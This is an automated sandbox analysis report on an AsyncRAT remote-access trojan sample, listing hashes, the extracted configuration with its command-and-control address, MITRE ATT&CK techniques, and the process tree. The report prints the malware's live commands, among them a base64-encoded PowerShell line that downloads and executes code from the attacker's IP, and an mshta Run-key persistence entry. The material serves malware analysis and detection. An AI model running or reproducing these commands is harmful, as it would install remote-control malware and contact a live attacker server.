asyncrat | c0273620d37a6ee12ce96c34b6f5428d712860c17541812d99b8ee23e9db95b9

General

Target

34577f0fd1d3f1d5f53eecd0aca166c3.exe
Size

37KB
MD5

34577f0fd1d3f1d5f53eecd0aca166c3
SHA1

29ea28cb4255cde4c3e48daf291e76e5cfe7194c
SHA256

c0273620d37a6ee12ce96c34b6f5428d712860c17541812d99b8ee23e9db95b9
SHA512

6605c6d2403ebf7a1cdc0fc866e8c23a0b6967083d8fc66f633d26260e233d8f065941258d761dc599956ff55817961f86ac4ab8ff218c16db2ffa36ed586886
SSDEEP

768:VboCDsyNRn59FDXZFBVqt9OZPlyNRn59FDXZFBVqt9OZPWyNRn59FDXZFBVqt9OU:Vbo90/LDpDVqtoZPl0/LDpDVqtoZPW0K

Score

10^/10

asyncrat default persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://80.66.79.27/o.png

Extracted

Family

asyncrat

Version

Venom Pwn3rzs' Edtition v6.0.1

Botnet

Default

C2

80.66.79.27:4404

Mutex

gfduktfdkfdrukfvluydfodtkfgvklrftikcguftu6dukfcodt

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2164-18-0x0000000000400000-0x0000000000418000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4844	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge = "mshta vbscript:close(CreateObject(\"WScript.Shell\").run(\"mshta http://80.66.79.27\",0))"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4844 set thread context of 2164	4844	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
2164	RegSvcs.exe
2164	RegSvcs.exe
2164	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	2164	RegSvcs.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2164	RegSvcs.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 4844	4052	34577f0fd1d3f1d5f53eecd0aca166c3.exe	82
PID 4052 wrote to memory of 4844	4052	34577f0fd1d3f1d5f53eecd0aca166c3.exe	82
PID 4844 wrote to memory of 4176	4844	powershell.exe	84
PID 4844 wrote to memory of 4176	4844	powershell.exe	84
PID 4844 wrote to memory of 4176	4844	powershell.exe	84
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85
PID 4844 wrote to memory of 2164	4844	powershell.exe	85

C:\Users\Admin\AppData\Local\Temp\34577f0fd1d3f1d5f53eecd0aca166c3.exe
"C:\Users\Admin\AppData\Local\Temp\34577f0fd1d3f1d5f53eecd0aca166c3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc IAAkAGMAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABjADQAPQAnAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvACcAOwAgACQAYwAzAD0AJwBhAGQAUwB0AHIAaQBuAGcAKAAnACcAaAB0AHQAcAA6AC8ALwA4ADAALgA2ADYALgA3ADkALgAyADcALwBvAC4AcABuAGcAJwAnACkAJwA7ACQAVABDAD0ASQBgAEUAYABYACAAKAAkAGMAMQAsACQAYwA0ACwAJABjADMAIAAtAEoAbwBpAG4AIAAnACcAKQB8AEkAYABFAGAAWAA=
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:4176
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mlhvjvyq.zx3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2164-33-0x0000000005600000-0x0000000005610000-memory.dmp

Filesize
64KB

Download
memory/2164-22-0x0000000074830000-0x0000000074FE0000-memory.dmp

Filesize
7.7MB

Download
memory/2164-37-0x0000000005600000-0x0000000005610000-memory.dmp

Filesize
64KB

Download
memory/2164-28-0x0000000005BA0000-0x0000000005BAA000-memory.dmp

Filesize
40KB

Download
memory/2164-27-0x00000000061A0000-0x0000000006232000-memory.dmp

Filesize
584KB

Download
memory/2164-36-0x0000000005600000-0x0000000005610000-memory.dmp

Filesize
64KB

Download
memory/2164-26-0x0000000077291000-0x0000000077292000-memory.dmp

Filesize
4KB

Download
memory/2164-32-0x0000000006CA0000-0x0000000006D06000-memory.dmp

Filesize
408KB

Download
memory/2164-18-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/2164-31-0x0000000006C00000-0x0000000006C9C000-memory.dmp

Filesize
624KB

Download
memory/2164-35-0x0000000074830000-0x0000000074FE0000-memory.dmp

Filesize
7.7MB

Download
memory/2164-23-0x0000000005BF0000-0x0000000006194000-memory.dmp

Filesize
5.6MB

Download
memory/2164-25-0x0000000005600000-0x0000000005610000-memory.dmp

Filesize
64KB

Download
memory/4052-3-0x00007FFC85B60000-0x00007FFC86621000-memory.dmp

Filesize
10.8MB

Download
memory/4052-0-0x0000000000770000-0x0000000000780000-memory.dmp

Filesize
64KB

Download
memory/4052-1-0x00007FFC85B60000-0x00007FFC86621000-memory.dmp

Filesize
10.8MB

Download
memory/4844-14-0x00007FFC85B60000-0x00007FFC86621000-memory.dmp

Filesize
10.8MB

Download
memory/4844-21-0x00007FFC85B60000-0x00007FFC86621000-memory.dmp

Filesize
10.8MB

Download
memory/4844-16-0x0000022CD8C20000-0x0000022CD8C30000-memory.dmp

Filesize
64KB

Download
memory/4844-17-0x0000022CD8C20000-0x0000022CD8C30000-memory.dmp

Filesize
64KB

Download
memory/4844-15-0x0000022CD8C20000-0x0000022CD8C30000-memory.dmp

Filesize
64KB

Download
memory/4844-9-0x0000022CD9140000-0x0000022CD9162000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads